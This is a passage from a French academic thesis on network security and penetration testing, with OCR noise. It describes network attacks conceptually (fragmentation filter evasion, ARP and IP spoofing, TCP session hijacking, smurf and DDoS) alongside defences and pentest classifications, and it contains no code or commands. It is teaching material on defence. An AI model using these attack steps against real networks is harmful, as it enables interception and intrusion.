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INTRODUCTION GENERALE

L'expansion et I'évolution des technologies informatiques, Internet et Web ont rendu la
société plus dépendante des services de réseau informatique. Ce qui a rendu la question de la
sécurité de ces réseaux essentielle et plus discutée que jamais.

La sécurité est devenue un enjeu majeur pour les entreprises, les organisations et les
utilisateurs. 1l existe diverses mesures de sécurité qu'un administrateur réseau peut prendre
pour sécuriser un réseau ou un systeme. Ces mécanismes de sécurité comprennent la DMZ
(zone demilitarisée), le VPN, l'authentification des points de terminaison avec confidentialité
garantie, le filtrage du pare-feu et le systéme de détection d'intrusion (IDS), Tous ces les
mécanismes et les politiques sont principalement mis en ceuvre en fonction de I'expertise de
I'administrateur réseau /systéme pour garantir la sécurité. Bien que tous les mécanismes soient
des solutions de sécurité communes déployées pour assurer la protection des données et aider
les administrateurs réseau a collecter, surveiller et signaler I'état des problemes de sécurité
connus, mais de nouvelles vulnérabilités et menaces sont découvertes chaque jour, des
informations sur les failles de sécurité et le vol de données sont entendues.

D'autre part, les administrateurs réseau/systeme ont une charge de travail énorme et sont
sujets aux erreurs humaines. Les entrées systemes impliquent souvent une erreur humaine,
entrainant des systéemes mal configurés. Fichiers et autorisations, politiques de mot de passe,
etc. Peut étre utilisé pour accéder au systeme. L'information est un atout essentiel pour toute
entreprise et doit étre bien protégée contre la duplication non autorisée et les attaques
provenant de sources internes et/ou externes.

Dans ce contexte, I'entreprise a besoin de "tester” leur réseau/systéme pour assure leur
sécurité. Pour répondre a ce probleme nous devons effectuer un test de pénétration, pour
répliquer les actions qu'un attaquant malveillants pour compromettre le réseau ou le systéme,
traiter les vulnérabilités et les menaces avant qu'elles ne soient exploitées. Les résultats du test

peuvent aider 1’entreprise a amélioré leur posture de sécurité.

L’objectif de ce travail, I’étude et l'identification des méthodologies de test de pénétration
appropriée. Puis, concevoir et la mise en place d’un laboratoire pour la réalisation d’un test de
pénétration et effectuer des simulations des attaques identique a celui qui effectué par
I’attaquant, accompagné de proposer des recommandations visant & augmenter le niveau de

sécurité. Finalement, la création et la mise en place d’un outil de pénétration.



Pour mener a terme notre travail, nous le répartissons de la maniére suivante :

Le premier chapitre parlera sur la sécurité informatique, ainsi que les différentes attaques
et les mécanismes de sécurité mis-en place.

Le deuxiéme chapitre concentrera sur le test de pénétration incluant son définition, ses
objectifs, ses phases, classification et quelques outils de test de pénétration existants.

Dans Le dernier chapitre, nous allons porter une étude sur les tests d'intrusion
(méthodologie de travail, environnement de travail, simulations d'attaque et
recommandations), ensuite la mise en place d'un outil de pénétration pour donne une

puissance a notre travail.



CHAPITRE 1
SECURITE DU RESEAU

1. Introduction

La sécurité est désormais au premier plan des implémentations réseau. La difficulté de la
sécurité dans son ensemble consiste a trouver un équilibre entre la nécessité d'ouvrir des
réseaux pour saisir de nouvelles opportunités et la nécessité de protéger les informations
privées ou publiques.

Pour une image plus claire des risques qui vise la sécurité d’un réseau, ce chapitre consiste
a la présentation de sécurité informatique qui comprend les différentes attaques ainsi les

mécanismes de sécurité mis-en place.
2. Sécurité du réseau informatique

2.1 Définition de securité informatique
C’est un ensemble de mesures congues pour réduire la vulnérabilité d'un systéme aux
menaces accidentelles ou délibérées. Définir les exigences de sécurité informatique. Ils

décrivent ce que les utilisateurs attendent des systemes informatiques liés a la securité. [1]

2.2 Obijectifs de la sécurité informatique
La securité informatique généralement touché cing objectifs sont : [2]

« Confidentialité : Doit garantir la protection des données contre les attaques non
autorisées.

« Authentification : Qui doit permettre de s'assurer que la personne se connectant celui
qui correspond au prénom.

 Intégrité : Qui garantit que les données recues sont exactement telles qu'elles étaient
publié par un éditeur autorisé.

» Non-répudiation : Qui garantit que le message a bien été envoyé par la source spécifiée
et recu par le destinataire spécifié.

« Contrdle d'acces : Dont la fonction est d'empécher l'accés aux ressources dans des

conditions définies et aux utilisateurs désignés.
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Contrdle d'accés

Confidentialité

Non-répudiation

Authentification

Intégrité

Figure 1. 1 Les propriétés de sécurité.

2.3 Concepts de la sécurité informatique
La securité informatique utilise un vocabulaire bien défini pour mieux appréhender les
risques potentiels d'attaques informatiques et définit certains termes tels que :

e Les vulnérabilités : Il s'agit de defauts ou de faiblesses dans la conception, la mise
en ceuvre ou la configuration du systéme informatique qui s'ils sont exploités,
pourraient entrainer des intrusions.

e Les menaces: C’est la possibilité dexploiter intentionnellement ou
accidentellement une ou plusieurs vulnérabilités pour compromettre une
fonctionnalité de sécurité.

e Les attaques: Une attaque est tout acte malveillant qui contréle la fonctionnalité ou
les mesures de sécurité d'un systéeme informatique, vole des données sensibles ou

perturbe, endommage ou altére le fonctionnement normal.
3. Objectifs des attaques

Il existe plusieurs cibles pour les attaques informatiques :

e Interruption : Les ressources systeme sont détruites, rendues indisponibles ou
inutilisables. Ceci est une atteinte a la disponibilité.

e Interception : Un tiers non autorisé accéde aux ressources. Ceci est une atteinte a la
confidentialité.

e  Moadification : Un tiers non autorisé accede a une ressource et le modifie afin qu'il
soit introuvable. Ceci est une atteinte a ’intégrité.

e Fabrication : Un tiers malhonnéte insére un faux dans le systeme. Ceci est une

atteinte a ’authentification.
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Les quatre objectifs sont présentés dans Figure 1.2 :

Trafic normal

>
>

Source Destination

Modification

Interruption 7
—_—
Source Destination
Source Destination
Attaquant

Interception
Fabrication

———

P
Source \ Destination =
A} Source Destination

Attaquant
Attaquant

Figure 1. 2 Les objectifs des attaques informatiques. [3]

4. Classification des attaques réseau

Une attaque peut étre classée selon son objectif, son point d'initiation ou sa méthode de
ciblage de la victime visée. [3]

— o e Classification des | ,
I attaques réseau I

Selon selon le point Selon la méthode
I'objectif d'initiation de ciblage
| | |
——bl——
l_--'_--| ‘___L__' P '

| | |

Figure 1. 3 Classification des attaques réseau. [3]

4.1 Selon I’objectif d’attaque

Il existe deux principaux types d'attaques :

e Les attaques actives : Consiste a modifier ou a détruire les ressources du systeme de
maniére non autorisée. Ce type d'attaque est le plus dangereux et potentiellement nocif
(usurpation d'identité, modification, replay, déni de service ... etc.)

e Les attaques passives : Ce type d'attaque ne modifie pas les ressources du systeme
cible et n'est généralement pas détectable.
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4.2 Selon le point d’initiation

Il existe deux types d'attaques dans ce critere de classification :

e Les attaques de intérieur : Par un utilisateur légitime du systeme lorsqu'il agit de
maniére non autorisée.

e Les attaques de I’extérieur : Arrivant de I'extérieur, souvent via Internet, en utilisant
des techniques telles que le vol d'identité.
4.3 Selon la méthode de ciblage de la victime

Il existe deux méthodes de ciblage de la victime :

e Les attaques directes: Dans ce type dattaque, I’attaquant envoie des paquets
directement aux victimes sans passer par un intermédiaire.

e Les attaques indirectes : Dans ce type d'attaque, l'attaquant envoie des paquets a une
entité intermédiaire, qui transmet les paquets a la victime.

5. Types d’attaques

Il'y a beaucoup d'attaques réseau de nos jours. Ces attaques sont basées sur différents types
de failles de sécurité (telles que les faiblesses de protocole et d'authentification), nous allons

donc couvrir quelques types et qui peuvent étre classés comme suit : [4]

o, Attaque par cartographie du

= A réseau
e
— o dévoiler le réseau X / ICMP
// “._____, Attaques par identification
yd des systémes réseau
yd ‘... Balayage
-~ L'attaque Tiny Fragments TCP
e Attaques par traversée
yd P des équipements )
7 o filtrants ..., Lattaque par Fragment
o Overlapping
Attaques permettant [y,
réseau

d'attaques

AN
l‘\
\
\

Attaque FMS (Fluhrer,

- CTREREE IR 7T Mantin, Shamir) sur RC4

= Attaque ARP spoofing

—— Attaque IP spoofing

. Attaque man-in-the-middle

5 -~ Attaques smurf et fraggle
NS Attaques en déni de
service “~______. Dénide service distribué

(DDOS)

.

Figure 1.4 Types d’attaques. [4]
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5.1 Attaques permettant de dévoiler le réseau
5.1.1 Attaque par cartographie du réseau: Les attaques visant a créer une image d'un réseau
visent & modifier les lignes de communication des futurs systemes cibles. Pour ce faire,
utilisez des outils de diagnostic tels que trace route. Cela vous permet de visualiser la route
des paquets IP d'un héte a un autre.

5.1.2 Attaques par identification des systemes réseau : Certaines attaques visent a identifier
tous les systemes existants afin de concevoir de futurs moyens de pénétration du réseau ou
des systemes qui le composent.
Balayage par le controle d'erreur
(ICMP echo, etc)

Balayage ouvert
(connexion compléte TCP, etc)

Les différents Balayage semi ouvert
types de * (semi-connexion TCP avec drapeau

balayages SYN, etc)

Balayage furtif
(semi-connexion TCP avec drapeau
SYNI|ACK, etc)

Autres types de Balayages
(UDP,etc)

Figure 1. 5 Types de balayages.

Il existe plusieurs techniques de balayage, voici quelques-unes :

e Balayage ICMP : La méthode de balayage la plus simple consiste a utiliser le
protocole ICMP et sa fonction de requéte, alias ping. Il comprend I'envoi du client a serveur
un paquet de demande d'écho ICMP, le serveur répond (normal) avec un paquet de réponse
décho ICMP. Il existe deux méthodes pour cartographier le réseau en utilisant cette
technique :

- Scanner le réseau et interroger toutes les adresses IP possibles.

- En visant une seule fois ’adresse de broadcaste du réseau, ce qui fait répondre toutes
les machines présentes.

Figure 1.6 montre le fonctionnement balayage ICMP.
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Serveur

Client

echo-request

v

echo-reply

N

Figure 1. 6 Fonctionnement de la commande Ping.

e Balayage TCP : Comme l'analyse ICMP, sa spécificité est basée sur TCP. Le client
envoie un paquet SYN a un port réseau specifique de l'adresse IP du serveur. Si le port
écoute, un paquet SYN/ACK sera de nouveau recu. D'autre part, la réception d'un paquet RST
signifie qu'aucun service n'écoute sur le port. Le client envoie un paquet RST en réponse

pour mettre fin a la connexion. Comme V’illustre Figure 1.7 :

SYN

, Serveur
Client -
Si le port écoute , SYN|ACK

Si le port n' écoute pas, RST

N

RST

v

Réseau

Figure 1. 7 Balayage TCP

5.1.3 Attaques par traversée des équipements filtrants : Lorsqu'un pirate veut cartographier
un réseau, il rencontre souvent des équipements de filtrage sur son chemin. Il peut s'agir

d'un routeur avec des regles de filtrage ou d'un pare-feu.

Il existe plusieurs techniques pour traverser les équipements filtrants, parmi ces

techniques les Tiny Fragments et le Fragment Overlapping

e Attaque Tiny Fragments : Consiste a fragmenter sur deux paquets IP une demande
de connexion TCP ou d'autres demandes sur la machine ciblent en parcourant et obstruant

(au moyen d'un mécanisme de fragmentation) le filtre IP.
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Dans le premier paquet IP de 68 octets ne contient que les 8 premiers octets de I'en-téte
TCP (port source et destination et numéro de séquence), les données du deuxiéme paquet IP
contiennent Demande de connexion TCP (drapeau SYN mis a 1, drapeau ACK mis a 0).

Cependant, les filtres IP appliquent les mémes regles de filtrage a tous les fragments
d'un paquet. Filtrage de le premier fragment (décalage de fragment égal a 0) qui détermine
cette regle telle qu'appliquée aux autres regles (décalage de fragment égal a 1) aucune autre
forme de validation. Par conséquent, lorsque la défragmentation se produit au niveau IP de
la machine cible, les paquets de demande de connexion sont réassemblés et transmis a la
couche TCP. La connexion est alors établie indépendamment des filtres IP. Figure 1.8

montre comment l'attaque est menée :

Machine attaquante Machine cible

v

8 premiers octets
du paquet TCP
Ports source et
destination

Paquet ip - fragment 0| | Paquetip - fragment 1

Octets restants

du paquet TCP Paquet TCP
reconstitué

8 premiers octets
du paquet TCP

Octets restants
du paquet TCP
Contient les
indicateurs de
demande de
connexion

Contient les
indicateurs de
demande de
connexion

Ports source et
destination

Figure 1. 8 Attaque par Tiny Fragments [4]

e Attaque par Fragment Overlapping : Consiste a fragmenter deux paquets IP a
l'aide de l'option Overlap pour effectuer une demande de connexion TCP ou une autre
demande sur la machine cible en passant par le filtre IP.

Le premier paquet IP contient des données d'en-téte TCP avec des drapeaux a 0. Le
deuxiéme paquet contient des données d'en-téte TCP avec une demande de connexion TCP

(drapeau SYN a 1 et drapeau ACK a 0). Figure 1.9 illustre cette attaque :
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Machine attaquante Machine cible

v

R ) Paquet TCP
Paquet ip - fragment 0| |Paquet ip - fragment 1

Ne contient pas
d'indicateus

Paquet TCP Paquet TCP Paquet TCP de connexion
. ) reconstitué
Ne c'onflent pas ‘Coptlent des Paquet TCP
d'indicateus indicateurs de
de connexion connexion

Contient des
indicateurs de
connexion

Figure 1. 9 Attaque par Fragment Overlapping [4]

Dans la figure, la demande de connexion est fragmentée en deux paquets IP contenant des
fragments O et 1, dont chacun passe par le systeme de filtrage etest réassemble par le
systeme cible, formant un mauvais paquet TCP en raison du chevauchement (Overlapping)

des fragments O et 1.

5.2 Attagues permettant d’écouter le trafic réseau
5.2.1 Attaque par sniffing : Le reniflage est une technique utilisée pour analyser le trafic
réseau et collecter illégalement des informations confidentielles.

Le systéeme du pirate se trouve a l'intérieur du réseau interne et capture tous les paquets de
données réseau qui passe par ce réseau pour obtenir le mot de passe, etc. L'espion na pas
besoin d'avoir une adresse IP sur le réseau sur lequel il écoute. Une interface réseau active
sans adresse IP suffit. L'écoute est alors totalement indétectable au niveau ARP. Le sniffer
peut analyser le trafic réseau a l'aide d'outils comme Ethereal et autres. Comme illustre
Figure 1.10.

10
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Machine B

Machine A

analyse des paquets transitant sur le

réseau local

sniffer

Figure 1. 10 Attaque par Sniffing

5.3 Attaque de Wi-Fi

5.3.1 Attaque FMS (Fluhrer, Mantin, Shamir) sur RC4 : Ce type d'attaque consiste a deviner
la clé secréte a partir de la connaissance de tout ou partie des données de la version déchiffrée.
La technique d'attaque FMS a prouve qu'il faut environ 1 000 000 de paquets pour craquer
une clé 128 bits et 300 000 paquets pour une cle 64 bits.

Figure 1.11 résume cette attaque :

L'utilisateur demande la connexion‘

? Le pirate écoute le trafic
Utilisateur sans fil Point d'accés Pirate
Le point d'accés renvoie en clair le challenge ,
une chaine de caractére de 128 octets
&
€ ‘ Le pirate enregistre le challenge

L'utilisateur renvoie la réponse chiffrée
avec sa clé secréte

S
>

Le pirate enregistre la réponse

I;n connexion de I'utilisateur est établie Le pirate demande la connexion

€ > 0 €
Le point d'accés renvoie
L

en clair le challenge , une chaine de

I;n connexion de I'utilisateur est établie caractére de 128 octets

< r

>

Le pirate envoie la réponse chiffrée avec la clé
secréte trouvée en s'appuyant sur le challenge
/réponse de l'utilisateur et une attaque du

I;n connexion de I'utilisateur est établie texte déchiffré connu

Y
>

<

@ -

<
I;n connexion de 'utilisateur est établie L La connexion du pirate est établie .
¢ > 0 € >

Figure 1. 11 Attaque de la clé secréte sans utilisation de Web [4]
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Le pirate a enregistré I'échange challenge/réponse de I'utilisateur, et il savait que la réponse
contiendrait une version cryptée avec la clé secrete. 1l connait également ce challenge, car il
bascule explicitement dans la configuration de la session de l'utilisateur. Ainsi, un pirate peut
obtenir la clé secréte en réalisant une attaque "texte déchiffré connu" sur la réponse de
l'utilisateur. Aprés avoir recu le défi dans le message de réponse, la clé secrete sera trouvee.

5.4 Attaques de session

Cette attaque restaure l'accés a I'information en passant par la machine dont l'adresse est
usurpée. On distingue plusieurs attaques dans ce type :

5.4.1 Attague ARP spoofing: L’attaque d'usurpation ARP basée sur le protocole de
résolution d'adresse (ARP) implémente la résolution d'adresses IP (32 bits) en adresses MAC
(48 bits) pour rediriger le trafic réseau d'un ou plusieurs systemes vers le systéeme attaquant.
Le pirate peut alors écouter, modifier ou méme intercepter les paquets reseau. Figure 1.12
montre comment I’attaque s’est produite :

Légitime ARP REPLY esitine ARP REQUET

10.0.0.1 est a B:B:B:B:B:B Qui 10.0.0.1?

client
1P:10.0.0.171
MAC:B:B:B:B:B:B

la table de cache ARP (normal) de client
10.0.0.1= C:C:C:C:C:C

Passerelle
1P:10.0.0.1
MAC:A:AIAIAIACA

Le trafic du systéme client vers la passerelle est

routé vers le systéme pirate @
e | @

Le pirate lance alors spoofed ARP

Replies écrasement legiteme reply
pirate 10.0.0.1 est a C:C:C:C:C:C
1P:10.0.0.127
MAC:C:C:C:C:C:C

la table de cache ARP (normal) de pirate:
1P:10.0.0.171=MAC:B:B:B:B:B:B
1P:10.0.0.1 =MAC:A:A:A:ACACA

Figure 1. 12 Attaque ARP spoofing

5.4.2 Attaque IP spoofing : Consiste a usurper l'identité d'un autre systéme en usurpant son
adresse IP. Le pirate commence par choisir le systeme cible. Apres avoir recueilli le
maximum de détails sur ce systéme cible, il identifiera les systéemes ou adresses IP autorisés a

se connecter au systéeme cible. Comme illustre Figure 1.13.

12
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4
éseau 1&3

Pirate
5

Serveur cible

Machine A

Figure 1. 13 Attaque IP spoofing

L'attaque se déroule ainsi :

1. L'attaquant tente de prédire le numéro de séquence des paquets du serveur cible en
envoyant plusieurs paquets et en analysant I'algorithme pour augmenter ce nombre.

2. L'attaquant empéche la machine A d'acceder au serveur cible, pour s'assurer qu'elle ne
répond pas au serveur cible.

3. Le pirate usurpe son adresse IP en la remplagant par I'adresse de la machine désactivée
et envoie une demande de connexion au serveur cible.

4. Le serveur envoie une trame SYN|ACK a la machine qu'il pense étre I'expéditeur.

5. S'il n'y a pas de réponse, le pirate confirme cette connexion par une trame ACK
contenant le numéro de séquence attendu. De cette facon, une connexion au serveur cible est
établie sans pénalité.

5.4.3 Attagque man-in-the-middle: Il consiste a relayer les échanges réseau entre deux
systémes via un troisieme systéme sous contréle hacker. Ce dernier peut transformer a volonté
les données a la volée, tout en cachant la realité a chaque agent lors de I'échange. De son
interlocuteur. On distingue que les échanges prennent I'une des trois formes Relais

transparent, Relais applicatif et Hijacking.

Dans l’attaque par Hijacking la machine du pirate utilise une session entre deux
machines, A et B, donc (la machine du pirate) est une session avec la machine B. A perd sa
session avec B et la machine du pirate reprend la session commencée par A sur B. Il opere de

la facon suivante :

13
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Echange de messages TCP indicateurs + numéro de
séquence

Machine A Machine B

pirate intercepte
e — 'e trafic e —
b

Attaque ARP spoofing
pour eviter I'effet ACK storm|

L

désynchronise la
machine machine A
en forgeant un
paquet TCP

;
’,” Hijacking de la session TCP
Ve Echange de messages
/' TCP indicateurs + numéro de
séquence

Figure 1.14 Attaque man in the middle.

Par exemple, Si un pirate utilisant la machine systeme C veut voler la session Telnet
établie entre systeme A et systeme B.

1. L'attaquant (system C) intercepte le trafic Telnet (port TCP 23) entre systéme A et
systéme B.

2. En supposant que systeme B est authentifié auprés du service Telnet sur la machine de
systéeme B, désynchronisez la machine de systeme A par rapport a systéme B en envoyant un
paquet avec l'adresse IP source de systéme A et le numéro d’acquittement TCP celui attendu
par systeme B.

3. systeme B accepte ce paquet, permettant au pirate de l'injecter dans la session
précédemment établie par systéeme A

Si Systeme A envoie un paquet a Systéeme B, le paquet n'est pas accepté car le numéro de
séquence ne correspond pas a ce que Systeme B attend. Cette attaque pourrait alors créer une
série de paquets ACK sortants entre Systeme A et Systeme B. Les deux les rejettent car leurs
numéros de séquence ne sont pas synchronisés.

Pour surmonter ce soi-disant probleme de tempéte ACK, Systéme C utilise une attaque
d'usurpation ARP contre Systeme A pour lui dire que l'adresse IP de Systéme B correspond a
I'adresse MAC de Systeme C.

5.5 Attaques en déni de service

Le déni de service, ou DoS (Denial of Service), est une attaque qui vise a rendre un
service, un systéme ou un réseau indisponible.

Ces attaques sont généralement basées sur 1’un des faiblesses de mise en ceuvre, les

bogues ou les faiblesses du protocole.

14
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5.5.1 Attaques smurf et fraggle : sont des variantes de l'attaque précédente basées sur les
faiblesses des configurations de routeur. Ces techniques incluent I'inondation du réseau avec
des pings utilisant uniquement des adresses de diffusion. Pour qu'un paquet soit envoyé, tous
les hétes du réseau répondent, augmenter la saturation du réseau. Figure 1.15 illustre

= ronrnm
- m -

Victime

’attaque:

Requéte ICMP avece une adresse 1P source fausse vers
un ensemble d'adresses IP (broadcast)

» Réponses vers l'adresse 1P de la victime

Figure 1. 15 Attaques smurf et fraggle

En envoyant des paquets ICMP avec d’adresse source incorrecte a l'adresse de diffusion,
toutes les machines du réseau diffusé répondent au systeme de la victime ou fictif. Les pirates
n'attendent pas de trafic de retour, ils peuvent donc attaquer un ensemble d'adresses de
diffusion et générer beaucoup de trafic par amplification.

La seule différence entre ces deux attaques est smurf utilise ICMP et fraggle utilise UDP.

5.5.2 Déni de service distribué (DDOS) : Est un type d'attaque DoS dans lequel plusieurs
machines compromises sont utilisées pour envoyer simultanément d'innombrables requétes au
systéme cible afin de causer son instabilité ou indisponibilité. Le principe du déni de service

distribué est d'utiliser plusieurs sources (démons) pour attaquer et des maitres les contrélent.

Figure 1.16 montre un réseau typique de DDoS :
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Attaquant
q Victime

-----

Contrdleurs
les machines zombies

Figure 1. 16 Attaque par déni de service distribué.

L'attaquant a alors un contrdle direct sur un ensemble de systemes de gestion et un
ensemble de systémes d'agents. La derniere étape consiste pour les pirates a lancer des
attaques contre leurs cibles. Un ou plusieurs systémes cibles spécifiés. Cet ordre d'attaque

était donné par le systéeme de commandement, qui lui-méme recevait cet ordre des pirates.
6. Techniques de sécurisation de communication

Pour atteindre les objectifs de sécurité énonceés a la section 2.2, il est nécessaire de détecter
les attaques potentielles sur le systeme et dans certains cas, de mettre en place des mesures de
sécurité pour contrecarrer ces attaques si possible afin d'assurer un haut niveau de protection
du réseau et du systeme d'information.

6.1 Chiffrement
Le chiffrement est I'élément le plus simple et le plus efficace de la sécurité informatique,
permettant de transformer les données d'une forme lisible a une forme cryptée. Afin de
garantir la confidentialité. 11 existe deux types de chiffrement, symétrique et asymétrique.
Il existe deux autres techniques de sécurisations qui basées principalement sur le
chiffrement asymétrique :
e Signature électronique : Est un autre mécanisme qui assure 1’intégrit¢é d’un
document ¢électronique et I'authentification de 1’auteur.
e Certificat électronique : Fichier informatique signé par une autorité de certification
qui utilise cette signature pour s'assurer que son propriétaire est bien celui qu'il prétend

étre. Les certificats sont utilisés pour signer et chiffrer des documents et des
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messageries électroniques, s'authentifier aupres de systémes distants et vérifier les
identités des sites Web.
6.2 Antivirus
Un antivirus est un logiciel qui identifie et détruit les logiciels malveillants, également
appelés virus. Surveillez toutes les zones ou les virus peuvent s'imbriquer et nettoyer,
supprimer ou mettre en quarantaine les fichiers infectés.
6.3 Pare-feu
Un pare-feu ou firewalls est un dispositif matériel ou logiciel qui agit comme un systéme
de protection pour votre ordinateur et agit également comme une interface entre un ou
plusieurs réseaux d'entreprise. Un firewall est concu pour contrdler et éventuellement bloquer
le flux de trafic en refusant ou en autorisant les données entrantes ou sortantes. [5]
6.4 Zone démilitarisee DMZ
Le DMZ est un réseau périphérique qui se situe entre le réseau local et le réseau externe
(Internet). 1l ajoute une couche de sécurité supplémentaire pour protéger les données sensibles
stockées sur votre réseau interne en exposant les services externes a des réseaux non fiables et
en filtrant le trafic a I'aide de pare-feu. [5]
6.5 Proxy
Le proxy est un ordinateur ou un systeme logiciel exécutable sur votre matériel
(Ordinateur, Smartphone...) qui fait I’intermédiaire entre elles et internet. Il permet de
sécuriser et d’améliorer 1’accés a certaines pages web en filtrant certains contenus web et
logiciels malveillants, et en renfor¢ant ’anonymat de ses utilisateurs. [5]
6.6 Systemes de détection d'intrusion IDS
L’IDS est un ensemble de composants (logiciels et/ou matériels) qui permettent de
contrbler l'activité d'un réseau ou d'hotes spécifiques, afin de détecter les tentatives
d'intrusion et probablement prendre les mesures de protection nécessaires. [5]
Il existe deux grandes familles d'IDS :
- N-IDS, assure la sécurité au niveau du réseau.
- H-IDS, fournit une sécurité au niveau de I'hote.
6.7 Virtual Private Network VPN
Le VPN est une technologie qui permet a une ou plusieurs stations distantes de
communiquer en toute sécurité tout en utilisant une infrastructure publique. Ce type de
connectivité est né d'un besoin croissant pour les entreprises de connecter leurs différents sites
de maniére simple et économique. En d'autres termes, il s'agit d'un tunnel sécurisé qui permet

la communication entre deux entités, méme sur des réseaux non sécurisés comme Internet.
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Les VPN sont destinés a contribuer & I'échange sécurisé de données privées et sensibles sur
les réseaux publics. [6]
6.8 Protocoles de sécurité

Il existe un nombre trés important de protocoles de sécurité, nous nous concentrerons sur
les plus utilisés :

e HTTPS (HyperText Transfer Protocol Secure): Est un protocole de
communication qui permet la connexion entre des clients et des serveurs www. Il s'agit d'une
combinaison du langage HTTP et un protocole comme SSL ou TLS pour sécuriser les
échanges sur le web.

e SSH : Egalement connu sous le nom de Secure Shell est un moyen de se connecter a
distance et en toute sécurité d'un ordinateur a un autre. 1l offre plusieurs options alternatives
pour assure une authentification forte et protége la sécurité et I'intégrité des communications
avec un cryptage fort. C'est une alternative sécurisée aux protocoles de connexion non
sécurisés (Telnet) et aux méthodes de transfert de fichiers non sécurisées telles que FTP. [6]

e TLS/ SSL : Le protocole TLS (Transport Layer Security), standardisé par I'IETF
(Internet Engineering Task Force), succede au protocole SSL (Secure Sockets Layer)
développe par Netscape et servait a l'origine a sécuriser les échanges entre navigateurs et
serveurs web. Les protocoles SSL et TLS permettent d'établir des sessions sécurisées entre un
hote initiant une session et une passerelle de sécurité faisant office de serveur et située sur un
réseau LAN protége. SSL et TLS nécessitent un protocole de transport fiable (tel que TCP)

qui permet un échange de messages sans erreur et ne risque pas de séquences inverses. [7]
7. Conclusion

Dans ce chapitre, nous avons présenté la sécurité informatique qui comprend les
différentes attaques ainsi les mécanismes de sécurité mis-en place. Le prochain chapitre sera

consacré a la présentation de test de pénétration.
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CHAPITRE 2
TEST DE PENETRATION

1. Introduction

Les tests de pénétration peuvent fournir des informations sur la mesure dans laquelle la
sécurité des réseaux et systéemes informatique sont compromissent, par exemple par des
attaques de pirates, et si les mesures de sécurité existantes peuvent actuellement garantir la
sécurité informatique.

Dans ce chapitre en va présenter le test de pénétration incluant son définition, ses
objectifs, phases, classification, et on va donner par la suite quelques outils de test de
pénétration existants.

2. Définition d’un test de pénétration

Les tests de pénétration sont une tentative d'identification des vulnérabilités de securité
dans une infrastructure informatique, un systeme informatique, une application Web ou un
réseau. De telles vulnérabilités de sécurité peuvent exister dans les systémes d'exploitation, les
applications, les mauvaises configurations ou les terminaux. Il comprend plusieurs analyses
de reconnaissance a travers les pare-feu, les défenses périmétriques, les commutateurs, les
routeurs, les serveurs, les peériphériques réseaux et les postes de travail. Les tests de
pénétration vérifient les mécanismes de sécurité de l'infrastructure et les résultats des tests de
pénétration peuvent étre utilisés pour protéger le réseau. Cependant, la correction de toutes les
erreurs détectées lors des tests d'intrusion ne garantit pas un réseau totalement sécurisé, mais

un réseau plus sécurisé. [9]
3. Objectifs des tests de pénétration

Des objectifs clairement définis sont essentiels pour un test de pénétration réussi qui
répond aux attentes des clients. Les tests de pénétration peuvent étre utilisés, entre autres,
pour :

» ldentifier les principales vulnérabilités d'un systéeme, afin qu'une organisation puisse
déployer un plan d'action pour mettre en ceuvre les défenses en fonction de la priorité des

failles identifiées.
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> Améliorer la sécurité des systéemes techniques et les composants informatiques d'une
organisation puisque les failles des réseaux et des logiciels peuvent étre identifiées.

> Tester les mesures de sécurité actuellement mises en ceuvre sont efficaces ou pas.

> Réduire les éventuelles pertes financiéres découlant d'un incident, et d'une certaine
maniére s'y préparer en adoptant des mesures correctives.
4. Classification des tests de pénétration

Les caractéristiques distinctives qui caractérisent un test de pénétration particulier, tels que
la portée du systeme testé, la prudence ou l'agressivité des tests, etc. doivent étre alignés sur
les objectifs du test pour garantir des tests efficaces et efficients. [10]

Figure 2.1 montre une classification des tests de pénétration possible :
penetratlon

]
I

I___.._.____.L____._____

Techni Basesurle Autre< Acces Ingenlene
echnique réseau communications physique sociale

T

Figure 2. 1 Classification de test de pénétration. [10]

4.1 Taux d’information
Le taux d’information requit par le testeur d'intrusion avant le démarrage des tests permet

de distinguer les trois méthodes suivantes :
4 1.1 Test de pénétration en boite blanche

Consiste a fournir aux testeurs d’intrusion toutes les informations disponibles sur les

systemes d'information d'une entreprise. Fonctionnement interne, architecture de I'entreprise,
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emplacements des serveurs, etc. Pour fournir un ensemble de recommandations visant a

augmenter le niveau de sécurité d’entreprise.
4.1.2 Test de penétration en boite grise

Lors de l'utilisation des tests en boite grise, les entreprises fournissent une quantité limitée
d'informations, telles que des mots de passe, qui permettent un acces facile aux systémes
d'information. Ce type de test est un hybride de test de boite noire et de boite blanche, et en

fait ce sont les tests les plus couramment utilisés.
4.1.3 Test de pénétration en boite noire

Un test de boite noire simule de maniere réaliste une attaque typique de pirate Internet. Les
pirates doivent rechercher les informations dont ils ont besoin dans des bases de données
publiques ou rechercher en tant qu'inconnus.

4.2 Agressivité

Les tests de pénétration peuvent étre effectués avec des intensités et des agressivités
variables (agressif, calculé, prudent, Passif). Ces classifications sont décrites ci-dessous :

- Passif est le niveau le plus bas d’agression. Cela signifie que la vulnérabilité détectée
ne sera pas exploitée.

- Prudent, dans les attaques prudentes, les testeurs tentent uniquement d'exploiter les
vulnérabilités dont I'exécution ne perturbe pas le fonctionnement du systéeme cible. Par
exemples L'utilisation de mots de passe par défaut connus ou la tentative d'acces a des
répertoires sur un serveur Web.

- Calculé, dans les attaques calculées, le testeur tente également d'exploiter les
vulnérabilités qui peuvent entrainer une perturbation du systéeme. Par exemple, les tests de
mots de passe automatises et les exploits de dépassement de mémoire tampon connus sur des
systemes cibles identifiés avec précision. Avant de prendre de telles mesures, le testeur évalue
la probabilité de succeés par rapport a la gravité des conséquences.

- Agressif, dans les attaques agressifs le testeur tente d'exploiter toutes les vulnérabilités
potentielles. Des exemples de telles attaques agressives sont les débordements de tampon et
les attaques par déni de service (DoS) sur le systeme ciblent.

4.3 Portée

La portée des tests de pénétration doit étre soigneusement définie pour spécifier quel

appareil, infrastructure de réseau et services doivent étre inclus dans un environnement de

test.
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En fonction de la portée des tests de pénétration, les tests peuvent étre classés en :

- Test de pénétration complet examine systématiquement I'ensemble du systéme. I
convient de noter que méme dans un test complet, certains systéemes (tels que les systémes
externalisés et hébergés en externe) peuvent ne pas étre testes.

- Test de pénétration limité, seule une partie du systéme qui forme une tout logique est
étudiée. Par exemple, tous les systémes dans la zone démilitarisée (DMZ) ou les systémes
comprenant une unité opérationnelle ou fonctionnelle peuvent étre testes.

- Test de pénétration ciblé, seule une partie du systeme ou un seul service au sein des
systemes est concentré et testé. Par exemple, cette portée de test est appropriée aprés une
modification ou une extension du paysage systeme. Un tel test ne peut, fournir d'informations
générales sur sécurité globale du systeme.

4.4 Approche

Les tests de penetration peuvent étre caractérisés a partir de I'approche des testeurs de
pénétration. Il existe deux types d'approches, a savoir secretes et manifestes :

